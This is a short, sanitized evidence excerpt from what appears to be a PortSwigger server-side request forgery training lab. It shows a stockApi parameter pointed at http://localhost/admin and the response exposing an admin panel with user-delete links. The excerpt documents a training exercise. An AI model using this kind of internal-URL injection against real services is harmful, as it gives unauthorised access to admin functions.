XYNY SECURITY / LAB-007 / PORTSWIGGER TRAINING LAB
SANITIZED EXCERPT — USER-PROVIDED BURP REPEATER RESPONSE
21 OCTOBER 2026

Request context: POST /product/stock
Parameter name: stockApi
Requested internal destination: http://localhost/admin

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8

<title>Basic SSRF against the local server</title>
<a href="/admin">Admin panel</a>
<h1>Users</h1>
<span>wiener - </span><a href="/admin/delete?username=wiener">Delete</a>
<span>carlos - </span><a href="/admin/delete?username=carlos">Delete</a>

EVIDENCE NOTE
Response content above has been selectively transcribed from the
HTTP response pasted by the lab participant in chat. Session cookies
and unrelated HTTP headers have been intentionally omitted.
The participant later stated that LAB-007 showed Solved. A screenshot
of that final status was NOT provided, and is not fabricated here.
Training lab, not a customer production system.